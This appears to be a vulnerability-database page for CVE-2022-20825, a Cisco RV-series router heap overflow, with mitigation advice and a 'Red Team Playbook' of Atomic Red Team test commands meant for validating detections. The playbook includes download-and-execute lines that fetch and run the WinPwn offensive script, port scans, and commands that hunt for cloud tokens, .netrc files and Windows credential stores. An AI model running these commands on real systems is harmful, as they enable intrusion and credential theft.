CVE-2022-20825
Overview
This vulnerability is a heap-based buffer overflow in the web-based management interface of Cisco Small Business RV Series routers. It arises from insufficient validation of user-supplied HTTP request data, allowing crafted packets to overwrite memory. The affected component is the HTTP server handling management interface requests on RV110W, RV130, RV130W, and RV215W router firmware.
Vulnerability Description
A vulnerability in the web-based management interface of Cisco Small Business RV110W, RV130, RV130W, and RV215W Routers could allow an unauthenticated, remote attacker to execute arbitrary code or cause an affected device to restart unexpectedly, resulting in a denial of service (DoS) condition. This vulnerability is due to insufficient user input validation of incoming HTTP packets. An attacker could exploit this vulnerability by sending a crafted request to the web-based management interface. A successful exploit could allow the attacker to execute arbitrary commands on an affected device using root-level privileges. Cisco has not released software updates that address this vulnerability.
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary commands with root privileges or cause the device to reboot unexpectedly, resulting in denial of service. No authentication or user interaction is required, and the attack can be performed over the network (AV:N/AC:L/PR:N/UI:N). This can lead to full device compromise or operational disruption of network infrastructure relying on these routers.
Solution
Cisco has not released software updates addressing this vulnerability as of the advisory date. The official Cisco Security Advisory (https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sb-rv-overflow-s2r82P9v) provides ongoing status and mitigation guidance. Users should monitor Cisco's advisory for future patches or consider isolating the management interface from untrusted networks until a fix is available.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the web-based management interface of specific Cisco Small Business routers stems from inadequate user input validation of incoming HTTP packets. This flaw allows an unauthenticated remote attacker to craft malicious requests that can lead to arbitrary code execution or cause the device to restart unexpectedly. The lack of proper validation means that the routers do not adequately check the integrity and authenticity of incoming data, making them susceptible to various forms of exploitation. When an attacker successfully exploits this vulnerability, they can gain root-level privileges, enabling them to execute arbitrary commands on the affected device, which poses a significant security risk.
Exploitation of this vulnerability can occur through several attack vectors. An attacker could leverage the web-based management interface, which is typically accessible over the internet, to send specially crafted HTTP requests. This method does not require any authentication, making it particularly dangerous, as it allows attackers to target devices that may not have been secured properly. Scenarios could include an attacker scanning for vulnerable devices on the internet and launching automated scripts to exploit the flaw. Once access is gained, the attacker could execute commands that could disrupt network services, manipulate configurations, or even pivot to other devices within the network, escalating the potential impact of the attack.
The real-world implications of this vulnerability are substantial, particularly for small businesses that rely on these routers for their networking needs. A successful exploit could lead to a denial of service condition, rendering the routers inoperable and disrupting business operations. This disruption could result in financial losses, damage to reputation, and potential legal ramifications if sensitive data is compromised. Additionally, the ability to execute arbitrary code could allow attackers to install malware or create backdoors for future access, further exacerbating the risk. The absence of available software updates from Cisco to address this vulnerability heightens the urgency for organizations to take proactive measures to safeguard their networks.
To detect and mitigate the risks associated with this vulnerability, organizations should implement several strategies. Regularly monitoring network traffic for unusual patterns or unauthorized access attempts can help identify potential exploitation attempts. Employing intrusion detection systems (IDS) can provide alerts for suspicious activities targeting the web management interface. Furthermore, organizations should consider restricting access to the management interface by implementing firewall rules that limit exposure to trusted IP addresses only. Additionally, ensuring that routers are configured with strong passwords and disabling unnecessary services can further reduce the attack surface. In the absence of vendor-provided patches, organizations may need to explore alternative solutions, such as replacing vulnerable devices with more secure options.
In conclusion, the vulnerability in the web-based management interface of specific Cisco Small Business routers presents a critical security risk that can be exploited by remote attackers. The potential for arbitrary code execution and denial of service highlights the need for organizations to prioritize their cybersecurity posture. By adopting robust detection and mitigation strategies, businesses can better protect their networks from the threats posed by this vulnerability and ensure the integrity and availability of their critical systems.
Affected Products (4)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Cisco | Rv110w Firmware | N/A |
cpe:2.3:o:cisco:rv110w_firmware:-:*:*:*:*:*:*:*
|
|
|
Cisco | Rv130 Firmware | N/A |
cpe:2.3:o:cisco:rv130_firmware:-:*:*:*:*:*:*:*
|
|
|
Cisco | Rv130w Firmware | N/A |
cpe:2.3:o:cisco:rv130w_firmware:-:*:*:*:*:*:*:*
|
|
|
Cisco | Rv215w Firmware | N/A |
cpe:2.3:o:cisco:rv215w_firmware:-:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-20825 |
| tools.cisco.com |
GitHub CVE
vendor-advisory
x_refsource_CISCO
|
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sb-rv-overflow-s2r82P9v |